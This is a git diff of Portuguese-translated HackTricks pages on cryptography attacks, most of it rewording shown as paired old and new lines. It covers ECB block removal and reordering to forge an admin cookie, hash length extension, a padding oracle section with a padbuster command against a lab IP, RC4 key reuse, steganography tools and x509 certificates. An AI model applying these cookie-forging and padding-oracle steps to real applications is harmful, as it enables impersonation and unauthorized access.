* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# ECB
|
# ECB
|
||||||
|
|
||||||
(ECB) Electronic Code Book - esquema de criptografia simétrica que **substitui cada bloco do texto claro** pelo **bloco de texto cifrado**. É o esquema de criptografia **mais simples**. A ideia principal é **dividir** o texto claro em **blocos de N bits** (depende do tamanho do bloco de dados de entrada, algoritmo de criptografia) e então criptografar (descriptografar) cada bloco de texto claro usando a única chave.
|
(ECB) Livro de Código Eletrônico - esquema de criptografia simétrica que **substitui cada bloco do texto claro** pelo **bloco de texto cifrado**. É o esquema de criptografia **mais simples**. A ideia principal é **dividir** o texto claro em **blocos de N bits** (depende do tamanho do bloco de dados de entrada, algoritmo de criptografia) e então criptografar (descriptografar) cada bloco do texto claro usando a única chave.
|
||||||
|
|
||||||
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
|
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
|
||||||
|
|
||||||
O uso do ECB tem múltiplas implicações de segurança:
|
Usar ECB tem múltiplas implicações de segurança:
|
||||||
|
|
||||||
* **Blocos da mensagem criptografada podem ser removidos**
|
* **Blocos da mensagem criptografada podem ser removidos**
|
||||||
* **Blocos da mensagem criptografada podem ser movidos**
|
* **Blocos da mensagem criptografada podem ser movidos**
|
||||||
|
@ -28,7 +29,7 @@ O uso do ECB tem múltiplas implicações de segurança:
|
||||||
|
|
||||||
Imagine que você faz login em um aplicativo várias vezes e **sempre recebe o mesmo cookie**. Isso ocorre porque o cookie do aplicativo é **`<username>|<password>`**.\
|
Imagine que você faz login em um aplicativo várias vezes e **sempre recebe o mesmo cookie**. Isso ocorre porque o cookie do aplicativo é **`<username>|<password>`**.\
|
||||||
Então, você gera dois novos usuários, ambos com a **mesma senha longa** e **quase** o **mesmo** **nome de usuário**.\
|
Então, você gera dois novos usuários, ambos com a **mesma senha longa** e **quase** o **mesmo** **nome de usuário**.\
|
||||||
Você descobre que os **blocos de 8B** onde a **informação de ambos os usuários** é a mesma são **iguais**. Então, você imagina que isso pode ser porque está sendo usado o **ECB**.
|
Você descobre que os **blocos de 8B** onde a **info de ambos os usuários** é a mesma são **iguais**. Então, você imagina que isso pode ser porque **ECB está sendo usado**.
|
||||||
|
|
||||||
Como no exemplo a seguir. Observe como esses **2 cookies decodificados** têm várias vezes o bloco **`\x23U\xE45K\xCB\x21\xC8`**.
|
Como no exemplo a seguir. Observe como esses **2 cookies decodificados** têm várias vezes o bloco **`\x23U\xE45K\xCB\x21\xC8`**.
|
||||||
```
|
```
|
||||||
|
@ -36,12 +37,12 @@ Como no exemplo a seguir. Observe como esses **2 cookies decodificados** têm v
|
||||||
|
|
||||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||||
```
|
```
|
||||||
Isso ocorre porque o **nome de usuário e senha desses cookies continha várias vezes a letra "a"** (por exemplo). Os **blocos** que são **diferentes** são blocos que continham **pelo menos 1 caractere diferente** (talvez o delimitador "|" ou alguma diferença necessária no nome de usuário).
|
Isso ocorre porque o **nome de usuário e a senha desses cookies continham várias vezes a letra "a"** (por exemplo). Os **blocos** que são **diferentes** são blocos que continham **pelo menos 1 caractere diferente** (talvez o delimitador "|" ou alguma diferença necessária no nome de usuário).
|
||||||
|
|
||||||
Agora, o atacante só precisa descobrir se o formato é `<nome de usuário><delimitador><senha>` ou `<senha><delimitador><nome de usuário>`. Para fazer isso, ele pode simplesmente **gerar vários nomes de usuário** com **nomes de usuário e senhas semelhantes e longos até encontrar o formato e o comprimento do delimitador:**
|
Agora, o atacante só precisa descobrir se o formato é `<username><delimiter><password>` ou `<password><delimiter><username>`. Para fazer isso, ele pode apenas **gerar vários nomes de usuário** com **nomes de usuário e senhas longos e semelhantes até encontrar o formato e o comprimento do delimitador:**
|
||||||
|
|
||||||
| Comprimento do nome de usuário: | Comprimento da senha: | Comprimento do nome de usuário+senha: | Comprimento do cookie (após decodificação): |
|
| Comprimento do nome de usuário: | Comprimento da senha: | Comprimento do nome de usuário+senha: | Comprimento do cookie (após decodificação): |
|
||||||
| ------------------------------- | --------------------- | --------------------------------------- | ------------------------------------------- |
|
| ------------------------------- | --------------------- | ------------------------------------- | ------------------------------------------- |
|
||||||
| 2 | 2 | 4 | 8 |
|
| 2 | 2 | 4 | 8 |
|
||||||
| 3 | 3 | 6 | 8 |
|
| 3 | 3 | 6 | 8 |
|
||||||
| 3 | 4 | 7 | 8 |
|
| 3 | 4 | 7 | 8 |
|
||||||
|
@ -52,28 +53,44 @@ Agora, o atacante só precisa descobrir se o formato é `<nome de usuário><deli
|
||||||
|
|
||||||
## Removendo blocos inteiros
|
## Removendo blocos inteiros
|
||||||
|
|
||||||
Conhecendo o formato do cookie (`<nome de usuário>|<senha>`), para se passar pelo nome de usuário `admin`, crie um novo usuário chamado `aaaaaaaaadmin` e obtenha o cookie e decodifique-o:
|
Sabendo o formato do cookie (`<username>|<password>`), para se passar pelo nome de usuário `admin`, crie um novo usuário chamado `aaaaaaaaadmin` e obtenha o cookie e decodifique-o:
|
||||||
```
|
```
|
||||||
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||||
```
|
```
|
||||||
Podemos ver o padrão `\x23U\xE45K\xCB\x21\xC8` criado anteriormente com o nome de usuário que continha apenas `a`.\
|
Podemos ver o padrão `\x23U\xE45K\xCB\x21\xC8` criado anteriormente com o nome de usuário que continha apenas `a`.\
|
||||||
Em seguida, você pode remover o primeiro bloco de 8B e obter um cookie válido para o nome de usuário `admin`:
|
Então, você pode remover o primeiro bloco de 8B e obterá um cookie válido para o nome de usuário `admin`:
|
||||||
```
|
```
|
||||||
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||||
```
|
```
|
||||||
## Movendo blocos
|
## Movendo blocos
|
||||||
|
|
||||||
Em muitos bancos de dados, é a mesma coisa procurar por `WHERE username='admin';` ou por `WHERE username='admin ';` _(Note os espaços extras)_
|
Em muitos bancos de dados, é o mesmo procurar por `WHERE username='admin';` ou por `WHERE username='admin ';` _(Note os espaços extras)_
|
||||||
|
|
||||||
Assim, outra maneira de se passar pelo usuário `admin` seria:
|
Assim, outra maneira de se passar pelo usuário `admin` seria:
|
||||||
|
|
||||||
* Gerar um nome de usuário que: `len(<username>) + len(<delimiter) % len(block)`. Com um tamanho de bloco de `8B`, você pode gerar um nome de usuário chamado: `username `, com o delimitador `|` o pedaço `<username><delimiter>` irá gerar 2 blocos de 8Bs.
|
* Gerar um nome de usuário que: `len(<username>) + len(<delimiter) % len(block)`. Com um tamanho de bloco de `8B`, você pode gerar um nome de usuário chamado: `username `, com o delimitador `|`, o bloco `<username><delimiter>` gerará 2 blocos de 8Bs.
|
||||||
* Em seguida, gerar uma senha que preencherá um número exato de blocos contendo o nome de usuário que queremos nos passar e espaços, como: `admin `
|
* Em seguida, gerar uma senha que preencherá um número exato de blocos contendo o nome de usuário que queremos imitar e espaços, como: `admin `
|
||||||
|
|
||||||
O cookie deste usuário será composto por 3 blocos: os 2 primeiros são os blocos do nome de usuário + delimitador e o terceiro da senha (que está fingindo ser o nome de usuário): `username |admin `
|
O cookie deste usuário será composto por 3 blocos: os primeiros 2 são os blocos do nome de usuário + delimitador e o terceiro da senha (que está falsificando o nome de usuário): `username |admin `
|
||||||
|
|
||||||
**Então, basta substituir o primeiro bloco pelo último e estaremos nos passando pelo usuário `admin`: `admin |username`**
|
**Então, basta substituir o primeiro bloco pelo último e você estará se passando pelo usuário `admin`: `admin |username`**
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
|
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -25,13 +25,13 @@ Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **
|
||||||
* **O algoritmo (e ele é vulnerável a este ataque)**
|
* **O algoritmo (e ele é vulnerável a este ataque)**
|
||||||
* **O padding é conhecido**
|
* **O padding é conhecido**
|
||||||
* Normalmente, um padrão padrão é usado, então se os outros 3 requisitos forem atendidos, isso também é
|
* Normalmente, um padrão padrão é usado, então se os outros 3 requisitos forem atendidos, isso também é
|
||||||
* O padding varia dependendo do comprimento do segredo + dados, é por isso que o comprimento do segredo é necessário
|
* O padding varia dependendo do comprimento do segredo + dados, por isso o comprimento do segredo é necessário
|
||||||
|
|
||||||
Então, é possível para um **atacante** **anexar** **dados** e **gerar** uma **assinatura** válida para os **dados anteriores + dados anexados**.
|
Então, é possível para um **atacante** **anexar** **dados** e **gerar** uma **assinatura** válida para os **dados anteriores + dados anexados**.
|
||||||
|
|
||||||
### Como?
|
### Como?
|
||||||
|
|
||||||
Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir** do **hash** (estado) **anteriormente** criado, eles **adicionam o próximo bloco de dados** e **hasham**.
|
Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir do** **hash** (estado) **anteriormente** criado, eles **adicionam o próximo bloco de dados** e **hasham**.
|
||||||
|
|
||||||
Então, imagine que o segredo é "segredo" e os dados são "dados", o MD5 de "segredodados" é 6036708eba0d11f6ef52ad44e8b74d5b.\
|
Então, imagine que o segredo é "segredo" e os dados são "dados", o MD5 de "segredodados" é 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||||
Se um atacante quiser anexar a string "anexar", ele pode:
|
Se um atacante quiser anexar a string "anexar", ele pode:
|
||||||
|
@ -61,7 +61,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -27,12 +27,12 @@ Para descriptografar CBC, as **operações opostas** são realizadas:
|
||||||
|
|
||||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||||
|
|
||||||
Note como é necessário usar uma **chave de criptografia** e um **IV**.
|
Observe como é necessário usar uma **chave de criptografia** e um **IV**.
|
||||||
|
|
||||||
## Message Padding
|
## Message Padding
|
||||||
|
|
||||||
Como a criptografia é realizada em **blocos de tamanho fixo**, o **padding** geralmente é necessário no **último bloco** para completar seu comprimento.\
|
Como a criptografia é realizada em **blocos de tamanho fixo**, o **padding** geralmente é necessário no **último bloco** para completar seu comprimento.\
|
||||||
Normalmente, **PKCS7** é usado, que gera um padding **repetindo** o **número** de **bytes** **necessários** para **completar** o bloco. Por exemplo, se o último bloco estiver faltando 3 bytes, o padding será `\x03\x03\x03`.
|
Normalmente, o **PKCS7** é usado, que gera um padding **repetindo** o **número** de **bytes** **necessários** para **completar** o bloco. Por exemplo, se o último bloco estiver faltando 3 bytes, o padding será `\x03\x03\x03`.
|
||||||
|
|
||||||
Vamos olhar mais exemplos com **2 blocos de comprimento 8bytes**:
|
Vamos olhar mais exemplos com **2 blocos de comprimento 8bytes**:
|
||||||
|
|
||||||
|
@ -47,7 +47,7 @@ Note como no último exemplo o **último bloco estava cheio, então outro foi ge
|
||||||
|
|
||||||
## Padding Oracle
|
## Padding Oracle
|
||||||
|
|
||||||
Quando uma aplicação descriptografa dados criptografados, ela primeiro descriptografa os dados; então remove o padding. Durante a limpeza do padding, se um **padding inválido acionar um comportamento detectável**, você tem uma **vulnerabilidade de padding oracle**. O comportamento detectável pode ser um **erro**, uma **falta de resultados** ou uma **resposta mais lenta**.
|
Quando uma aplicação descriptografa dados criptografados, ela primeiro descriptografa os dados; então, remove o padding. Durante a limpeza do padding, se um **padding inválido acionar um comportamento detectável**, você tem uma **vulnerabilidade de padding oracle**. O comportamento detectável pode ser um **erro**, uma **falta de resultados** ou uma **resposta mais lenta**.
|
||||||
|
|
||||||
Se você detectar esse comportamento, pode **descriptografar os dados criptografados** e até mesmo **criptografar qualquer texto claro**.
|
Se você detectar esse comportamento, pode **descriptografar os dados criptografados** e até mesmo **criptografar qualquer texto claro**.
|
||||||
|
|
||||||
|
@ -57,7 +57,7 @@ Você pode usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/A
|
||||||
```
|
```
|
||||||
sudo apt-get install padbuster
|
sudo apt-get install padbuster
|
||||||
```
|
```
|
||||||
Para testar se o cookie de um site é vulnerável, você pode tentar:
|
Para testar se o cookie de um site é vulnerável, você poderia tentar:
|
||||||
```bash
|
```bash
|
||||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||||
```
|
```
|
||||||
|
|
|
@ -1,42 +1,7 @@
|
||||||
{% hint style="success" %}
|
Se você conseguir de alguma forma criptografar um texto simples usando RC4, você pode descriptografar qualquer conteúdo criptografado por esse RC4 (usando a mesma senha) apenas usando a função de criptografia.
|
||||||
Aprenda e pratique AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
||||||
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
||||||
|
|
||||||
<details>
|
Se você pode criptografar um texto simples conhecido, você também pode extrair a senha. Mais referências podem ser encontradas na máquina HTB Kryptos:
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
|
|
||||||
Se você puder de alguma forma criptografar um texto simples usando o RC4, você pode descriptografar qualquer conteúdo criptografado por esse RC4 (usando a mesma senha) apenas usando a função de criptografia.
|
|
||||||
|
|
||||||
Se você puder criptografar um texto simples conhecido, também poderá extrair a senha. Mais referências podem ser encontradas na máquina HTB Kryptos:
|
|
||||||
|
|
||||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||||
|
|
||||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
|
||||||
Aprenda e pratique AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
||||||
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
|
|
|
@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -152,7 +152,7 @@ Para uma exploração adicional, considere visitar:
|
||||||
|
|
||||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||||
|
|
||||||
Steghide é uma ferramenta versátil projetada para esconder dados em arquivos JPEG, BMP, WAV e AU. Instruções detalhadas estão disponíveis na [documentação de truques de stego](stego-tricks.md#steghide).
|
Steghide é uma ferramenta versátil projetada para esconder dados em arquivos JPEG, BMP, WAV e AU. Instruções detalhadas estão disponíveis na [documentação de truques de esteganografia](stego-tricks.md#steghide).
|
||||||
|
|
||||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||||
|
|
||||||
|
@ -212,9 +212,9 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -44,15 +44,15 @@ Em certificados x509, vários **campos** desempenham papéis críticos na garant
|
||||||
* **Emissor** detalha quem verificou e assinou o certificado, incluindo subcampos semelhantes ao Sujeito para a CA.
|
* **Emissor** detalha quem verificou e assinou o certificado, incluindo subcampos semelhantes ao Sujeito para a CA.
|
||||||
* O **Período de Validade** é marcado por timestamps **Não Antes** e **Não Depois**, garantindo que o certificado não seja usado antes ou depois de uma certa data.
|
* O **Período de Validade** é marcado por timestamps **Não Antes** e **Não Depois**, garantindo que o certificado não seja usado antes ou depois de uma certa data.
|
||||||
* A seção **Chave Pública**, crucial para a segurança do certificado, especifica o algoritmo, tamanho e outros detalhes técnicos da chave pública.
|
* A seção **Chave Pública**, crucial para a segurança do certificado, especifica o algoritmo, tamanho e outros detalhes técnicos da chave pública.
|
||||||
* As **extensões x509v3** aprimoram a funcionalidade do certificado, especificando **Uso de Chave**, **Uso de Chave Estendida**, **Nome Alternativo do Sujeito** e outras propriedades para ajustar a aplicação do certificado.
|
* As **extensões x509v3** aprimoram a funcionalidade do certificado, especificando **Uso de Chave**, **Uso de Chave Estendido**, **Nome Alternativo do Sujeito** e outras propriedades para ajustar a aplicação do certificado.
|
||||||
|
|
||||||
#### **Uso de Chave e Extensões**
|
#### **Uso de Chave e Extensões**
|
||||||
|
|
||||||
* **Uso de Chave** identifica aplicações criptográficas da chave pública, como assinatura digital ou criptografia de chave.
|
* **Uso de Chave** identifica aplicações criptográficas da chave pública, como assinatura digital ou criptografia de chave.
|
||||||
* **Uso de Chave Estendida** restringe ainda mais os casos de uso do certificado, por exemplo, para autenticação de servidor TLS.
|
* **Uso de Chave Estendido** restringe ainda mais os casos de uso do certificado, por exemplo, para autenticação de servidor TLS.
|
||||||
* **Nome Alternativo do Sujeito** e **Restrição Básica** definem nomes de host adicionais cobertos pelo certificado e se é um certificado CA ou de entidade final, respectivamente.
|
* **Nome Alternativo do Sujeito** e **Restrição Básica** definem nomes de host adicionais cobertos pelo certificado e se é um certificado CA ou de entidade final, respectivamente.
|
||||||
* Identificadores como **Identificador de Chave do Sujeito** e **Identificador de Chave da Autoridade** garantem unicidade e rastreabilidade das chaves.
|
* Identificadores como **Identificador de Chave do Sujeito** e **Identificador de Chave da Autoridade** garantem unicidade e rastreabilidade das chaves.
|
||||||
* **Acesso à Informação da Autoridade** e **Pontos de Distribuição de CRL** fornecem caminhos para verificar a CA emissora e verificar o status de revogação do certificado.
|
* **Acesso à Informação da Autoridade** e **Pontos de Distribuição de CRL** fornecem caminhos para verificar a CA emissora e checar o status de revogação do certificado.
|
||||||
* **SCTs de Pré-certificado CT** oferecem logs de transparência, cruciais para a confiança pública no certificado.
|
* **SCTs de Pré-certificado CT** oferecem logs de transparência, cruciais para a confiança pública no certificado.
|
||||||
```python
|
```python
|
||||||
# Example of accessing and using x509 certificate fields programmatically:
|
# Example of accessing and using x509 certificate fields programmatically:
|
||||||
|
@ -93,7 +93,7 @@ Registros de certificado são registros auditáveis publicamente, apenas para ad
|
||||||
|
|
||||||
#### **Consulta**
|
#### **Consulta**
|
||||||
|
|
||||||
Para explorar os registros de Transparência de Certificado para qualquer domínio, visite [https://crt.sh/](https://crt.sh).
|
Para explorar registros de Transparência de Certificado para qualquer domínio, visite [https://crt.sh/](https://crt.sh).
|
||||||
|
|
||||||
Existem diferentes formatos para armazenar certificados, cada um com seus próprios casos de uso e compatibilidade. Este resumo cobre os principais formatos e fornece orientações sobre como converter entre eles.
|
Existem diferentes formatos para armazenar certificados, cada um com seus próprios casos de uso e compatibilidade. Este resumo cobre os principais formatos e fornece orientações sobre como converter entre eles.
|
||||||
|
|
||||||
|
